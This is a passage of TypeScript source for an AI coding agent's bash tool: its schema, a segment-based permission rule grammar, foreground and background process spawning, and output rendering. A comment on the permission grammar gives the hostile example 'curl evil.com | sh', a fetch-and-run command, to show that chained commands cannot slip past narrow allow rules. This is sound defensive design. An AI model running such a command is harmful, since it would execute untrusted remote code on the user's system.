\"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { parseShellOperation } from \"./shell-operation.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return undefined;\n\t\t\treturn parsed.operation.kind === \"run\" ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t// An unparseable call is never authorized by an allow rule; `isUnknown`\n\t\t\t// keeps it out of them and pulls every deny rule onto it.\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return true;\n\t\t\treturn parsed.operation.kind === \"run\" && classifyBashCommand(parsed.operation.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return { kind: \"summary\", lines: [parsed.reason] };\n\t\t\tif (parsed.operation.kind === \"kill\") {\n\t\t\t\treturn { kind: \"summary\", lines: [`Kill background shell command ${parsed.operation.handle}`] };\n\t\t\t}\n\t\t\tif (parsed.operation.kind === \"retrieve\") {\n\t\t\t\treturn {\n\t\t\t\t\tkind: \"summary\",\n\t\t\t\t\tlines: [`Retrieve output from background shell command ${parsed.operation.handle}`],\n\t\t\t\t};\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [parsed.operation.command] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return null;\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nexport function formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst invalid = () => theme.fg(\"toolTitle\", theme.bold(`${prompt} ${invalidArgText(theme)}`));\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (command === null || handle === null) return invalid();\n\n\tconst parsed = parseShellOperation(args ?? {});\n\tif (!parsed.ok) {\n\t\t// Arguments still arriving name no operation yet, so they render as a\n\t\t// placeholder. Anything that already names one and still fails to parse is\n\t\t// rejected at execution, and naming its command would describe something\n\t\t// that never runs.\n\t\tif (!command && !handle) {\n\t\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${theme.fg(\"toolOutput\", \"...\")}`));\n\t\t}\n\t\treturn invalid();\n\t}\n\tif (parsed.operation.kind !== \"run\") {\n\t\tconst suffix = parsed.operation.kind === \"kill\" ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.handle}${suffix}`));\n\t}\n\tconst timeoutSuffix = parsed.operation.timeout ? theme.fg(\"muted\", ` (timeout ${parsed.operation.timeout}s)`) : \"\";\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.command}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { kind: \"retrieve\"; handle: string } | { kind: \"kill\"; handle: string },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (handleInput.kind === \"kill\") {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t\t\tconst command = !parsed.ok\n\t\t\t\t\t\t? \"(rejected shell call)\"\n\t\t\t\t\t\t: parsed.operation.kind === \"run\"\n\t\t\t\t\t\t\t? parsed.operation.command\n\t\t\t\t\t\t\t: (registry.commandFor(parsed.operation.handle) ?? parsed.operation.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tconst parsed = parseShellOperation(input);\n\t\t\tif (!parsed.ok) throw new ToolExecutionError(parsed.reason, undefined);\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn await executeHandleCall(parsed.operation);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = parsed.operation;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ 